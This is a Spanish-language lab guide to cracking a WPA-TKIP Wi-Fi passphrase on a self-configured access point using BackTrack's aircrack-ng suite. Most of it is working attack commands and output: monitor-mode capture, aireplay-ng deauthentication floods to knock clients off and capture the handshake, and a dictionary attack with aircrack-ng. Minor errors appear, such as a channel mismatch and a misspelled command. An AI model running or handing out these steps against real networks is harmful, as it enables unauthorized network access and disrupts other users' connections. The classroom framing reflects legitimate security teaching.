Ataque a redes WPA

Una diferencia muy importante que se debe tener en cuenta al "crackear" redes con WPA/WPA2 y WEP, es que en las claves WEP, se pueden usar métodos "estáticos" de inyección para acelerar el proceso, pero para WPA/WPA2 solo se pueden utilizar técnicas de fuerza bruta. Esto se debe a que la clave no es estática sino dinámica, por lo que recogiendo "IV" como para la encriptación WEP, no se consigue obtener más rápidamente la clave.

Se necesita entonces el handshake entre el cliente y el AP. El handshake se genera en el momento que el cliente se conecta a la red. (Aunque no es exactamente cierto, para los propósitos de esta guía), se tomará como cierto. La clave pre-compartida puede tener un tamaño de 8 a 63 caracteres, por lo que parece imposible crackear la clave.

Herramienta para calcular el tiempo que se utiliza en ataques de fuerza bruta
http://lastbit.com/pswcalc.asp

Fase I configuración del AP

1 Configure el AP con las siguientes opciones:

- Habilite el Wireless
  - Nombre de la red (SSID): cuchillac
  - Modo del 802.11: Mixto (g y b)
  - Canal: 11 (poder ser otro)
- Modo de Seguridad: WPA-Personal
  - Modo de WPA: WPA-only
  - Tipo de encriptación: TKIP
  - Frase de seguridad: abcdefgh

2 Verifique que el cliente wireless se pueda conectar a la red
Navegue en la Internet para probar la configuración

Fase II - Desarrollo del ataque

Paso 1 – Configure las opciones para la tarjeta wlan0

1.1 Detenga la wlan0 para (opcional)

```
root@bt:~# ifconfig wlan0 down
```

1.2 Asigne una MAC ficticia para las pruebas (opcional)

```
root@bt:~# macchanger --mac 00:11:22:aa:aa:aa wlan0
Current MAC: 00:24:2b:06:8c:15 (unknown)
Faked MAC:   00:11:22:aa:aa:aa (Cimsys Inc)
```

1.3 Active la tarjeta wlan0 (opcional)

```
root@bt:~# ifconfig wlan0 up
```

1.4 Cree el objeto monitor para la wlan0

```
root@bt:~# airmon-ng start wlan0
```

1.5 Verifique que se haya creado el monitor mon0

```
root@bt:~# iwconfig
```

Paso 2 – Obtener información de las redes Wi-Fi

2.1 Digite el siguiente comando:

```
root@bt:~# airodump-ng mon0
```

```
CH 11 ][ Elapsed: 24 s ][ 2013-05-31 13:02
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

02:2F:DF:E2:2D:DE   -1        62        0    0  10  11   OPN              HPC793C9
B8:A3:86:66:0E:87  -37        63        3    0  11  54e. WPA  TKIP         cuchillac
00:14:06:15:69:A1  -60        54       33    0   4  54e. WPA2 CCMP   PSK  empresarial
```

2.2 Detenga la consulta con Ctl + C
Copie la dirección MAC del BSSID (para nuestro caso cuchillac)

Paso 3 – Captura de paquetes entre AP y cliente en archivo

Utilice la consola 3 (No apague este proceso)
En donde:
--bssid = es la MAC del SSID
--channel 6 = el canal de nuestro AP
--write capturaWEP = el archivo donde se guardarán las capturas
mon0 = defina el monitor que se utilizará

```
root@bt:~# airodump-ng --bssid B8:A3:86:66:0E:87 --channel 6 --write
capturaWPA mon0
```

No cierre el proceso

Paso 4 – Esperar a que se produzcan asociaciones de los clientes

Opción 1 - detenga el cliente Windows o Linux

Opción 2 - Envíe tramas de deauthentication
Abra otra la consola y digite

```
root@bt:~# aireplay-ng -0 5 -a B8:A3:86:66:0E:87 mon0
```

en donde
-0 opción para ataque de deauthenticarion
5 cantidad de paquetes que se enviarán
-a dirección MAC del AP

Regrese a la consola 3 (no detenga el proceso)
Verifique que aparezca SKA

```
CH  6 ][Elapsed: 2 mins][ 2013-05-31 13:09 ][ 140 bytes keystream: B8:A3:86:66:0E:87
BSSID              PWR RXQ  Beacons  #Data, #/s CH  MB   ENC CIPHER AUTH ESSID
B8:A3:86:66:0E:87  -32 100   1350     574    2  11  54e. WPA  TKIP   PSK  cuchillac

BSSID              STATION            PWR   Rate    Lost    Frames  Probe
B8:A3:86:66:0E:87  00:19:5B:8E:20:C3  -53   54e-36e     0       635  cuchillac
```

Paso 5 – Verifique la captura de paquetes

5.1 Detenga la captura de paquetes.

5.2 Verifique que el archivo de captura tenga las tramas de la negociación en WPA

5.3 Abra el archivo capturaWPA.cap con Wireshark

5.4 Busque las tramas entre el AP y el cliente,
Seleccione el protocolo EAPOL y en la columna de info vea que aparezca KEY
Despliegue la información de la sección 802.1X y vea que esté Nonce con un valor en Hexa

Paso 6 – Desencriptar la contraseña

6.1 Verifique que tenga disponible diccionarios para el ataque

```
root@bt:~# ls /pentest/passwords/wordlist/*.lst
```

6.2 Utilizamos el diccionario para iniciar el ataque

```
root@bt:~# aircrak-ng capturaWPA-01.cap –w
/pentest/passwords/wordlist/darkc0de.lst
```

6.3 Visualice la contraseña

Nota: Si la palabra no está en el diccionario, el ataque será infructuoso. Dependiendo del tipo de contraseña así será el tiempo que tome el ataque.

Lista de comandos de ayuda.

Verificación de la inyección de paquetes

Las tarjetas WIFI deben tener drivers que permitan la inyección de paquetes caso contrario no funcionarán algunos comandos en los ataques.
Con la inyección de paquetes verificamos que haya calidad en la comunicación, que la tarjeta pueda enviar paquetes de manera satisfactroria.
Comando:

```
aireplay-ng -9 -e cuchillac -a 00:01:02:de:ca:fe -i wlan1 wlan0
```

Dónde:
-9 = prueba de inyección se puede utilizar --test
-e cuchillac = nombre del ssid (opcional)
-a 00:01:02:de:ca:fe = dirección MAC del AP
-i wlan1 = la tarjeta que actuará como AP (recibir paquetes) y determinará qué tipo de ataque soporta la tarjeta wlan0 (opcional)
wlan0 = tarjeta que se utilizará para enviar paquetes.

Prueba de envío de inyección de paquetes

```
aireplay-ng -9 wlan0
```

Los AP con un 0% indican que no se podrá inyectarles paquetes.

Prueba a SSID escondidos o SSID específicos

```
aireplay-ng --test -e cuchillac -a 00:01:02:de:ca:fe wlan0
```

Pruebas de ataque que podemos realizar

Ambas tarjetas deberán estar en el mismo canal

```
aireplay-ng -9 -i wlan1 wlan0
```

Prueba de método 2

Paso 1 - Habilitamos el modo monitor en escucha del canal 9
airmon-ng start wifi0 11

Paso 2 - Captura del handshaking
airodump-ng -c 11 --bssid 00:01:02:DE:CA:FE -w capturaWPA mon0
No importan los IV

Paso 3 - Usar aireplay-ng para deautentificar a un cliente conectado
aireplay-ng -0 2 -a 00:01:02:DE:CA:FE -c 00:01:02:AA:AA:AA mon0
-0 deaunticación
2 paquetes enviados

Los paquetes de deautenticación se envían directamente desde el PC a los clientes. Por lo que se debe estar físicamente cerca de los clientes wireless.

Paso 4 – Desencriptar la contraseña
En otra consola
aircrack-ng -w password.lst -b 00:01:02:DE:CA:FE capturaWAP*.cap